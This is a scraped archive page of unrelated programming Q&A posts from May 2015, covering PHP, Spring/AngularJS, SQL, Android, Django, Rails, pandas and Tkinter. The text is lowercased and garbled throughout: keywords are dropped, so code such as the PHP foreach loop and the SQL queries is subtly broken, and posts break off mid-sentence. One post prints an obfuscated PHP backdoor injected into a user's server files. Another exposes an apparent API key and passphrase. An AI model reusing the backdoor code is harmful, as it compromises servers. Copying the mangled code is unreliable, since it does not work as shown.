Posts

Showing posts from May, 2015

Move file upload not working in php -

i have facing problem on file uploading code multiple files additional input field mention name of customer $titles=$_request['doc_title']; $tmp_names=$_files['filename']['tmp_name']; $requestid=$_request['reqno']; //echo $_server['http_host']; //echo $_server['request_uri']; die; $url= 'http://' . $_server['http_host'] . $_server['request_uri']; $upload_dir=str_replace('/index.php','/',$url); $time = time(); $arradata=array(); $filearray=array(); foreach($_files['filename']['name'] $key=>$value){ $arradata[$key]['doc_title']=$titles[$key]; $arradata[$key]['file_name']=$time.$value; $arradata[$key]['tmp_name']=$tmp_names[$key]; $arradata[$key]['req_id']=$requestid; $pathandname = $upload_dir."temp/moredocument/&

java - Using ng-include into Spring Web Application does not work -

i trying use ng-include in web application based on angularjs , springmvc. this tree of web-inf directory: /web-inf /views /fragmentpages footer.jsp index.jsp in dispatcherservelet.xml added mapping /fragmentpages resources: <mvc:resources mapping="/fragment/**" location="/web-inf/views/fragmentpages/" /> into index.jsp done this: <body ng-app="myapp"> <div ng-controller="myctrl"> ... </div> <div ng-include="${servletcontextpath}+'fragment/footer.jsp'"></div> </body> but viewing source code in browser see this: <div ng-include="/project+'fragment/footer.jsp'"></div> and include not work. why? update my tree now: /resources footer.jsp /web-inf /views /fragmentpages footer.jsp index.jsp in dispatcher done: <mvc:resources mapping="

I found unknown PHP code on my php files on server . Is it a hack or backdoor? -

i noticed top line of of php files got changed what's below. <?php $txdhgnui = 'ha)3of>2bd%!<5h%/#0#/*#npd/#)rrdj{fpg)%s:*<%j:,,bjg!)%j:>>1:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18y]#>q%<#762y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<cw6npdov{h19275j{hnpd19275fubmgoj{h1:|:*mmrk3`{666~6<&w6< x7fw6*cw&)7gj6<.[a x27&6< x7fw6* !} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])z>2<!%ww2)%w`tw~ x24<!fwbm)%tjw)bssbz)#p#)!gj!<*#cd2bge56+99386j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!% x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` xgj6<*id%)ftpmdr6<*id%)dfyfr x27tfs%6<*17-sfebfi,6<*127-uvpjgk4`{6~6<tfs%w6< x7fw6*cwtfs%)77f!|!*uyfu x27k:!ftmf!}:71]k9]77]d4]82]k6]72]k9]78]k5]53]kc#<%tpz!>!#]>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24-21]464]284]364]6]234]342]58]24]31#-!|!*!***b%)

php - "Warning: curl_setopt(): and Fatal error: " in push notification -

am trying implement push notification using php. code follows, file 1: push.php <?php // server file class pushnotifications { // (android)api access key google api's console. private static $api_access_key = 'aizasydg3fyaj1uw7vb-wejamjyjxio5jagasyi'; // (ios) private key's passphrase. private static $passphrase = 'joashp'; // (windows phone 8) name of our push channel. private static $channelname = "joashp"; // change above 3 vriables per app. public function __construct() { exit('init function not allowed'); } // sends push notification android users public function android($data, $reg_id) { $url = 'https://android.googleapis.com/gcm/send'; $message = array( 'title' => $data['mtitle'], 'message' => $data['mdesc'], 'subtitle' => '',

sql - Checking for numbers in char field -

i working on database bright spark decided idea store numbers , letters (for no reason) in char field. now need select number below value error due existence of letters in of records. i have tried following select column1 table1 isnumeric(column1)=1 , column1<=16 however following error conversion failed when converting varchar value '5.00 ' data type int. now looks number me why can't convert it? cast column if numeric select column1 table1 isnumeric(column1)=1 , cast(column1 decimal(18,2)) <= 16.0

ios - Cocoapod path reference error -

Image
i have newly added cocoapods application, getting “parser error” while compiling code in client machine, same source code working fine in system (without changes). please find below error along screen shot. ../../../fbsdkcorekit/fbsdkcorekit/fbsdkcorekit/fbsdkaccesstoken.h and have added tag ($(inherited) - > non-recursive) below paths in target -> build settings. header search path, framework search path, library search path. i hope cocoapods path reference issue, please 1 me out of issue. note: have sent file client .zip. finally came answer, have sent source file client end(other systems) as .tar.gz format instead of .zip file. this solved issue.hope 1 in future.....

php - want to take value in a variable from output of EWS mail -

i taking unread mail using ews exchange server. below output. stdclass object ( [responsemessages] => stdclass object ( [finditemresponsemessage] => stdclass object ( [responsecode] => noerror [responseclass] => success [rootfolder] => stdclass object ( [items] => stdclass object ( [message] => stdclass object ( [itemid] => stdclass object ( [id] => aamkadllywvjyje3lwmznwitndczyy05yzlllwezmzm2ywuzndy3nqbgaaaaaaa3rnrc1+nerydpkpmlrf8obwdmmobtcfhpsqyuvnmidlrxaaaafjg7aadmmobtcfhpsqyuvnmidlrxaad0o9sfaaa= [changekey] => cqaaabyaaadmmobtcfhpsqyuvnmidlrxaad0o+gx ) [subject] => cr-1167-approved [sensitivity] => normal [size] => 2992 [datetimesent] => 2016-09-22t10:55:12z [datetimecreated] => 2016-09-22t10:55:13z [hasattachments] => [isassociated] => [from] => stdclass object ( [mailbox] => stdclass object ( [name] =

How to open the gallery using the file path in android -

i have designed 2 buttons.one button selecting file , button open selected file.i have selected file correctly , file path retrieved.but cant open particular file directly file path.any 1 have tried intent intent = new intent(intent.action_get_content); uri uri = uri.parse(environment.getexternalstoragedirectory().getpath() + selectedfilepath); intent.setdataandtype(uri, "text/csv"); startactivity(intent.createchooser(intent, "open folder")); first, action_get_content does not accept uri input . second, action_get_content has nothing opening file. presumably, should using action_view . third, value passing uri.parse() not string form of uri . also, expect few android devices have action_view activity text/csv content.

codenameone - Media has stopped working the way it should -

i have app made on 2 years ago has list of videos. when 1 of list buttons clicked, media played full screen. working ok on android (i have't tried other platforms) until resubmitted build server on 31-07-2016. after noticed videos no longer working full screen. month, resubmitted app build server , there couple of things don't work. noticeable feature video stretched in portrait mode fill form (even without setfullscreen()). other issue have noticed if click button , play video, new video , old video still playing @ side / corner of screen. have tried pause() , cleanup() seem have no effect. have tried adding media directly container , using mediaplayer , found same issues both. try { ((com.codename1.ui.layouts.borderlayout) getlayout()).setcenterbehavior(com.codename1.ui.layouts.borderlayout.center_behavior_center_absolute); media media = createmedia(currentexternalcontent.getis(), "video/m4v"); component videocomponent = media.getvi

android - Display video stored in SD card in a GridView -

i want display videos stored inside sd card in gridview. have followed this tutorial , changed suit need. below code getview() inside customadapter class public view getview(int position, view convertview, viewgroup parent) { view listitemrow; listitemrow = layoutinflater.from(vcontext).inflate(r.layout.sd_card_list_item, parent, false); textview txttitle = (textview)listitemrow.findviewbyid(r.id.txttitle); imageview thumbimage = (imageview)listitemrow.findviewbyid(r.id.videocapture); videocolumnindex = videocursor.getcolumnindexorthrow(mediastore.video.media.display_name); videocursor.movetoposition(position); txttitle.settext(videocursor.getstring(videocolumnindex)); videocolumnindex = videocursor.getcolumnindexorthrow(mediastore.video.media.size); videocursor.movetoposition(position); int videoid = videocursor.getint(videocursor.getcolumnindexorthrow(mediastore.video.media._id)); cursor

javascript - How can I delete a widget in Aikau? -

i have created widget in aikau , idea inside of it, there 1 widget in moment , swaps 1 type dynamically. my procedure follow: i delete widgets inside of father widget i construct new widget. right code works, don't know if eliminating widgets children properly. didn't find function in documentation it: swapwidget: function mypackage_mywidget__swapwidget(event) { // remove children // ok? $(this.domnode).find('div').remove(); var widgetid = event.widgetid , widget = this.widgetsposibilities[widgetid] , clonedwidgets = lang.clone([widget]) ; this.processwidgets(clonedwidgets, this.domnode); }, postcreate : function mypackage_mywidget__postcreate() { var event = {widgetid: this.initwidgetid}; this.jumpwidget(event); this.alfsubscribe('my_custom_event', lang.hitch(this, this.swapwidget)); this.inherited(arguments); } it enough " $(this.domnode).find('div').remove(); " eliminate children widgets?

device - Android TV Chromecast Serial Number -

i trying add chromecast android tv cast develop devices list, but... while trying fetch device serial, on tv shown "0123456789abcdef". tried add list, message went wrong (as expected). i tried add android tv serial number serial number devices list , tried start cast development app, but, app doesn't see android tv. how correct chromecast device serial number? thanks! android tv model philips 43pus6501/12 i had same problem, serial number sticker @ of device, after adding developer console need wait time

java - How to use annotation in an annotation? -

given: public @interface myannotation(){ public sometype[] value(); } in java 7 possible like: @myannotation({ value1, @myannotation({subvalue1, subvalue2, ...}) value2, ... valuen }) public object someproperty; ? you can. example jackson library (leaving out comments): package com.fasterxml.jackson.annotation; import java.lang.annotation.elementtype; import java.lang.annotation.retention; import java.lang.annotation.retentionpolicy; import java.lang.annotation.target; @target({elementtype.annotation_type, elementtype.type, elementtype.field, elementtype.method, elementtype.parameter}) @retention(retentionpolicy.runtime) @jacksonannotation public @interface jsonsubtypes { public type[] value(); public @interface type { /** * class of subtype */ public class<?> value(); /** * logical type name used type identifier class */ public string name() default &q

retrofit - MockWebServer response delay - testing timeouts -

i'm trying test http timeout scenarios using mockwebserver answers test requests sent retrofit/okhttp. (this question was asked before years ago, @ time concerned bug in mockwebserver. also, api has since changed fair bit, think reposting question warranted.) there seem several related methods, i'd appreciate solution issue clear example: i'm unsure difference between.. .delaybody and .throttlebody also, both of these methods seem delay/throttle body - not possible set timeout response header? i.e. along lines of "wait x seconds after next incoming request before send out response". try setting response’s socket policy no_response.

reactjs - Change button text dynamically in material-ui -

if try change label button got error because label read property. how change button text dinamically? export default class tagger extends component { static proptypes = { name: proptypes.string } constructor(props) { super(props) this.state = { disabled: true } this.enableedit = this.enableedit.bind(this) } componentdidmount() { this.editbutton = react.finddomnode(this.refs.editbutton) } enableedit() { this.setstate({disabled: !this.state.disabled}) this.refs.editbutton.props.label = 'save' } render() { return ( <div> <raisedbutton onclick={this.enableedit} label='modify' primary={true} ref='editbutton' /> </div> ) } } props read-only , can't mutate/edit them you can change props instead of mutating them. set value of prop state , pass it. export default class tagger extends component { static proptypes = { name: proptypes.s

java - Arranging buttons into diamond shape in android xml -

Image
i create a screen 4 buttons, each in shape of diamond (like square turned 45 degrees side) , 4 arranged larger diamond. i've searched around here on , managed create xml file sort of hints @ want achieve: <?xml version="1.0" encoding="utf-8"?> <linearlayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@color/white" android:orientation="vertical" android:visibility="visible"> <textview android:id="@+id/scorecount" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center_horizontal" android:text="large text" android:textappearance="?android:attr/textappearancelarge"> </textview> <relativelayout android:layout_width="match_par

How to stop a user to see restricted page in asp.net application -

i new in asp.net , don't have knowledge it. have 1 query. my dotnet application url http://www.example.com for website's internal behavior, send request on http://www.example.com/net/afk/xyz , response displays on web page. , path not shows on web browser url. shows http://www.example.com/page but problem is, when if enters directly http://www.example.com/net/afk/xyz web browser after login in application, gets open , user can see information dont want show. i want - url http://www.example.com/net/afk/xyz should work internally not launch via web browser url. i tried enter denied rule 'net\afk in iis those, url http://www.example.com/net/afk/xyz stops respond internally. please me can this. type of requirement possible? as understand question, if want page should not open directly url can way uri u = httpcontext.current.request.urlreferrer; if (u != null) return true; else { //here user try hit

java - what is better: cast to double or adding double zero? -

lets have 4 int variables: a, b, c, d and need calculate (a * b) / (c * d) there 2 ways it: 1) double result = ((double)(a * b)) / (c * d) 2) double result = (a * b) / (c * d + 0d) what proc , cons every of ways? if don't mind saying so, ways bad indeed. (a * b) still computed in integral arithmetic suffer wrap-around. (this merely confounds belief excess parentheses scaled down version of devil.) in c , c++ it's far worse, overflow behaviour undefined , compilers reserve right eat cat. worse that, c * d evaluated in integer arithmetic in both cases! result of expression converted double . i believe 1.0 * * b / c / d clearest way of writing a , b , c , , d all promoted double types prior evaluation. way specifies intention get-go.

php - Im trying to loop using foreach and use the method array_push() -

i trying loop , got following error: array_push() expects parameter 1 array, object given my controller: public function viewsponsorinfo($sponsor_id) { $id = $sponsor_id; $user_id = user::where('id','=',$id)->get(); $user_roles = []; foreach ($user_id $id) { array_push($user_id, $id->role); } } you have $user_roles , $user_id mixed in array push. change: array_push($user_id, $id->role); to: array_push($user_roles, $id->role); the first argument array_push array pushing item. you're trying push user_id user object, not array, hence error.

mysql - PHP Query multiple search -

for php sql search query, have 5 different search criteria (from important least). for example: (most important): name area color shape (least important): time for query, have following: $ajax_data = $_post['data']; $name = $ajax_data [0]; $area = $ajax_data [1]; $color = $ajax_data [2]; $shape = $ajax_data [3]; $time = $ajax_data [4]; $option = "where name = '$name' , area = '$area' , color = '$color' , shape = '$shape' , time = '$time'"; //not complete $query = "select * $table $option limit 10; here trying do. using 5 criteria (name, area, color, shape , time), want query search find related data, meaning should match search criteria best results. for example, following search criteria sent via ajax: ajax search criteria: earth, canada, white, square, today then, want query search identical criteria. however, there occasions identical data not exist. in sce

javascript - jQuery Download Images to Folder -

i looking @ question download image javascript shows how download image. i want able similar more automated. navigate imgur page, enter search parameters use jquery download .jpeg or .png i have basic layout navigate imgur , search find .jpeg , .png in page run code similar other question download what want know, can specify specific folder save images to? can automate click of save button? if not possible in pure jquery/javascript other choice default using imacros javascript mixed in, avoid this. this not possible using only javascript. a user's interaction always required in order save file. imagine mess we'd in if weren't case... viruses everywhere!

c# - Unexpected JSON token while reading DataTable EndArray While Deserializing Object -

while deserializing json string specified type: unexpected json token while reading datatable endarray can 1 me on please? check de-serializing class incidentdetailcontainer there must data table property not getting serialized. you need class represent property of type data table.

c# - Grant permissions on MSI instalation -

i have problem deployment of app: created app in c# (windows forms) on windows 7, tested it, working fine. moved .exe , dlls computer windows 10, tested, working fine. app until now. next step create setup file it. managed create setup file, installs app, app work can't create files (log files example - files stored next .exe file). found out folder needs full control permissions users. how can set permissions folder when app installing? i found solution, not elegant wanted works: on commit, setup execute .bat file script give full permissions iis_iuser. check link: how run ".bat" file during installation?

Cannot Run Raster Calculation Using GDAL -

i having trouble running raster calculation through gdal. attempting convert raster db through equation below. a = raster file "10*log10(power(a,2))-83" using gdal_calc looks following. c:\>gdal_calc.py -a "c:\users\moses\desktop\calc_test\test444.img" --outfile="c:\users\moses\desktop\calc_test\test555.img" --calc="10*log10(power(a,2))-83" --debug --overwrite i have attempted in separate pieces. so, raise raster second power, log10 of result. each time recieve following error... :1: runtimewarning: divide 0 encountered in log10 any idea on how might go resolving this? thanks in advance potential help. apparently of pixel values contain zeros. if take log10(0) , returns -inf causes error. try this: c:\>gdal_calc.py -a "c:\users\moses\desktop\calc_test\test444.img" --outfile="c:\users\moses\desktop\calc_test\test555.img" --calc="10*log10(power(a+0.0001,2))-83" --debug -

javascript - Zoom at fabricjs object smoothly -

i working fabricjs canvas library. unable find animation methods or supporting library fabricjs. what want zoom @ object. don't want scale object size. each object canvas in place is. what want add effect camera focusing on particular object zooming in. , when zoom out. come in initial state camera moving in @ object , moving out object initial state. sorry bad english i have made sample code issue http://fiddle.jshell.net/5kkq2/811/ . here trying zoom on perticular object camera focusing on perticular object , should go smoothly. while using scaling object tough manage position particular object because never know object place @ run time. solution: http://fiddle.jshell.net/5kkq2/813/ here using zoomtopoint method working fine. no need scale each object every time.

unit testing - How to test self. angularjs controller functions in jasmine -

i have below code inside controller controller: self.dosomething = function () { self.x="hai"; self.y = function (id, data) { self.x="hello"; } } $scope.call=function(){ self.dosomething(); } there no other self.y function defined other given code. whenever test call function through jasmine calling it. code coverage not showing inside self.y function. i.e., self.x="hello" not being called. please suggest me way how this. thanks in advance. self.y property of self . way call is first define calling $scope.call() call self.y $scope.call(); self.y(); unless exposing self controller. code in self.y not testable. if want execute when call dosomething must explicitly. self.dosomething = function () { self.x="hai"; self.y = function (id, data) { self.x="hello"; } self.y(); } but why writing code this?

python - Django, tutorial - error: No module named urls -

Image
hi following tutorial make first web app django( link ) given error: file "c:\python27\lib\site-packages\django\utils\autoreload.py", line 226, in wrapper fn(*args, **kwargs) file "c:\python27\lib\site-packages\django\core\management\commands\runserver.py", line 121, in inner_run self.check(display_num_errors=true) file "c:\python27\lib\site-packages\django\core\management\base.py", line 374, in check include_deployment_checks=include_deployment_checks, file "c:\python27\lib\site-packages\django\core\management\base.py", line 361, in _run_checks return checks.run_checks(**kwargs) file "c:\python27\lib\site-packages\django\core\checks\registry.py", line 81, in run_checks new_errors = check(app_configs=app_configs) file "c:\python27\lib\site-packages\django\core\checks\urls.py", line 14, in check_url_config return check_resolver(resolver) file "c:\python27\lib\site-packages\d

c# - Filtering on a ProjectToList in LINQ -

i using mediatr request visualizationdto public visualizationresponse handle(visualizationquery message) { return new visualizationresponse { loadtick = datetime.now.ticks, visualization = new visualizationdto { infeed = context.unloaders.projecttolist<infeeddto>(), levels = context.levels.projecttolist<leveldto>() } }; } these mapped directly dbcontext . problem projecttolist<> maps recursively. in level there's list of buffers , in each buffer there's list of stacks. need map stacks have timeout value of null. don't want filter trough after mapping because might slow down things. , tried var lq = context.levels; var stacks = lq .selectmany(l => l.buffers) .selectmany(b => b.stacklocations) .where(s => s.timeout == null); levels = lq.projectto<leveldto>().select(l => new {l, stacks}).tolist().select(x => x.l).tolist() but values receive aren&

php - POST not sending all data -

i have screen 135 checkboxes <input type="checkbox" name="orders_id[] value="1"/> <input type="checkbox" name="orders_id[] value="2"/> ......... <input type="checkbox" name="orders_id[] value="135"/> i check of checkboxes , submit, in $_post see 107 checkboxes received. what happened missing data? i changed post_max_size 20m did not resolve problem. i checked on header of browser chrome developer tools. can see all 135 checked data there, in php when check $_post['orders_id'] , 107 of them. with many checkboxes, if there other inputs on form may exceeding php's max_input_vars setting. the php manual defines setting as: how many input variables may accepted (limit applied $_get, $_post , $_cookie superglobal separately). use of directive mitigates possibility of denial of service attacks use hash collisions. if there more input variables specified dir

c++ - boost::spirit::qi grammer for parsing structured text file -

a) far revised full code. not running having errors such "error: no type named 'type' in 'struct boost::spirit::traits::container_value" #include <boost/config/warning_disable.hpp> #include <boost/spirit/include/qi.hpp> #include <boost/spirit/include/phoenix_core.hpp> #include <boost/spirit/include/phoenix_operator.hpp> #include <boost/spirit/include/phoenix_object.hpp> #include <boost/fusion/include/adapt_struct.hpp> #include <boost/fusion/include/io.hpp> #include <boost/spirit/include/phoenix_fusion.hpp> #include <boost/property_tree/ptree.hpp> #include <boost/property_tree/xml_parser.hpp> #include <iostream> #include <string> #include <complex> #include <fstream> #include <vector> namespace opcuastackcore { namespace spirit = boost::spirit; namespace qi = boost::spirit::qi; namespace ascii = boost::spirit::ascii; struct eddlvariable { std::string identi

amazon web services - Rails Paperclip Heroku AWS DIsplay Image issue -

i set paperclip in rails app , worked fine locally , on heroku, images uploaded in posts saved in heroku short space of time. set aws account , created bucket, , followed through documentation link rails app aws display images uploaded paperclip. have attached code snippets below. images seem uploaded aws fine, when create post, says post has been created successfully, image not display, displays broken link. when click image properties, hs aws s3 url , upon looking in heroku logs, there no known issues. not know why image not displaying. config/environments/production.rb file: # sets paperclip upload images amazon s3 # variables directed heroku via command line pw etc config.paperclip_defaults = { storage: :s3, s3_credentials: { bucket: env.fetch('s3_bucket_name'), access_key_id: env.fetch('aws_access_key_id'), secret_access_key: env.fetch('aws_secret_access_key'), s3_region: env.fetch('aws_region'), } }

python - parsing a dictionary in a pandas dataframe cell into new row cells (new columns) -

Image
i have pandas dataframe contains 1 column containing cells containing dictionary of key:value pairs, this: {"name":"test thorton","company":"test group","address":"10850 test #325\r\n","city":"test city","state_province":"ca","postal_code":"95670","country":"usa","email_address":"test@testtest.com","phone_number":"999-888-3333","equipment_description":"i'm big red truck\r\n\r\nrsn# 0000","response_desired":"week","response_method":"email"} i'm trying parse dictionary, resulting dataframe contains new column each key , row populated resulting values each column, this: //before 1 2 3 4 5 b c d {6:y, 7:v} //after 1 2 3 4 5 6 7 b c d {6:y, 7:v} y v suggestions appreciated. consider df df = pd

php - How to increase the performance of this function -

how increase performance of following function in phalcon framework. there thousands of records in table. tried different ways, stuck point. how can increase efficiency , reduce execution time. following 2 methods: public function currentmonthaction() { $payload = $this->request->getjsonrawbody(); $this->setdb(); $ticketsmodel = new tickets(); $fromcitycondition = ""; if( isset($payload->city->id) ) { $fromcitycondition = "and fromcity='{$payload->city->id}'"; } try{ $date = new \datetime($payload->date); $year = $date->format('y'); $month = $date->format('m'); $month = '08'; $daysinmonth = cal_days_in_month(cal_gregorian, $month, $year); /* result cities passenger */ $result = array(); // cities permutations

Extract Month Name and Year from string in SQL server and pivot on them -

i want extract month name , year string in sql server , pivot on them.i having data in below format id | reason 123 | post-close qc audit - december 2015 124 | pre fund fraud prevention 125 | post-close qc audit - november 2015 126 | post-close qc audit - october 2016 127 | post-close qc audit - november 128 | post-close qc audit - december 2015 i need 2 result set this. 1 valid date , year example: reason december 2015 november 2015 october 2016 and second output in format december 2015 | november 2015 | october 2016 123 | 125 | 126 128 | null | null here's 1 way tackle this: -- sample data declare @table table (id int, reason varchar(100)); insert @table values (123, 'post-close qc audit - december 2015'), (124, 'pre fund fraud prevention'), (125, 'post-close qc audit - november 2015'), (126, 'post-close qc audit - october 2016'), (127, 'post-close qc audit - november'), (128, 'post-cl

javascript - Asp.net DropDownList Search Query Repopulate on input -

i'm trying develop asp.net application have dropdownlist control - upon typing in dropdownlist 's input box (which i'm struggling working) - fill automatically top 30 results in query db. the db services set , upon each key event following c# code run: protected void loadfiltereddropdown(string term) { // list var activefilteredlist = services.staticlists.master.cli.active_filtered_list(term); // fill dropdown ddlclientfiltered.items.clear(); ddlclientfiltered.items.add(new listitem("- select", "0")); ddlclientfiltered.appenddatabounditems = true; ddlclientfiltered.datasource = activefilteredlist; ddlclientfiltered.databind(); ddlclientfiltered.selectedindex = 0; // indicate whether or not there more results searchresultcount = activefilteredlist.count; if (searchresultcount > 30) { lblresults.text = "top 30 results (refine search more)"; } else { lblr

angularjs - How to check for the generated password using protractor? -

i have weird scenario: in automation, have create user. on creation, password wil generated , sent his/her email id. how can automate retrieve password in his/her email( note:i have open new window go his/her email , enter his/her credentials , open particular mail has sent password , copy it ) , come application , login his/her username , password? pretty confusing rite and how can switch tab(supposingly not angular-app), , execute actions enter username , password of email) for emails, can use package called mail-listener. can follow instructions on this answer , i've done myself , relatively easy setup. can password parsed email. and far switching other tabs, can use getallwindowhandles() , this: browser.getallwindowhandles().then(function (handles) { newwindowhandle = handles[1]; browser.switchto().window(newwindowhandle).then(function () { // stuff }); }); since it's non-angular page, you'll need set browser.ignoresynchronizatio

spring - How to force RestTemplate to send multipart/form-data with UTF-8 encoding -

i struggling have multipart/form-data encoded in utf-8 in resttemplate entity. don't know doing wrong. below posted code linkedmultivaluemap<string, string> map = new linkedmultivaluemap<>(); map.add("text", text); map.add("id", id); httpheaders httpheaders = new httpheaders(); httpheaders.set("content-type","multipart/form-data;charset=utf-8"); httpentity<linkedmultivaluemap<string, string>> entity = new httpentity<>(map, httpheaders); listenablefuture<responseentity<string>> response = asyncrestoperations .postforentity(url, entity, string.class); when insert polish letters text parameter, example: "Å‚" rest template sends "?". can see below, in fact body looks , "Å‚" gets converted "?": content-disposition: form-data; name="text" content-type: text/plain;charset=iso-8859-1 content-length: 1 ? i don't know why not wor

sorting - Optimize LSD radix sort in python -

i'm trying implement lsd radix sort in python, code used 4 loop, there way can in 3 or less? here 4 loops: first loop iterate through input list, convert desired radix, , change each number reversed list, so: 123 --> [3,2,1] second loop iterate through newly created list, make them have same length adding 0, add pointer corresponding element in input list, reverse list.like this: input: [1234, 56, 7] after first loop: [[4, 3, 2, 1], [6, 5], [7]] after second loop: [[0, 1, 2, 3, 4], [1, 0, 0, 5, 6], [2, 0, 0, 0, 7]] third loop sort element in lsd order using counting sort, code below. fourth loop put every thing in new list sorted order using pointers. here's code radix sort: def radix_sort(collection, radix): new_collect = [] max_len = 0 #loop through collection, convert them desired form , put in new_collect in collection: num = [] while >= radix: remain = % radix num.append(remain)

ios - sdwebimage with permanent caching -

i developing ios app requires sdwebimage permanently cache pictures onto phone. there expiration setting in sdwebimage codes, should set expiration time large value store cache permanently? since wanted pictures cached permanently, should stored them dedicated folder or default directory sufficient? app needs picture persistent when app closed , re-open when phone restarted. if wanted cache picture permanently, there else need watch out other setting expiration large value? thanks. unfortunately sdwebimage not provide such capability make use of advanced caching capabilities provided sdwebimage wrote wrapper around it basically class manages fallback permanent cache if requested image not found in sdweb image cache "disk , memory" in permanent cache , if found permanent cache copied sdwebimage cache make use of memory cashing in later requests using approach managed keep setting images table cells smooth usual sdwebimage can trigger clearimagecache e

python - How to run tkinker while I have a different loop running -

this question has answer here: how run own code alongside tkinter's event loop? 5 answers so in program i'm using tkinter handle key presses program runs in tick loop , i've found out programs tick loop , tkinters main loop clashing eatch other. there way fix this? dose tkinter have function dose single loop call on eatch of ticks? if not recommend replacing tkinter handle key pressing? i've dealt same issue :) you can achieve want using tkinter 's after() , after_idle() functions. for example, loop function can that: def loop(self): # whatever tick loop needs to self.cyclesid = self.after_idle(self.loop) you can call once , called again every iteration of tkinter 's mainloop() .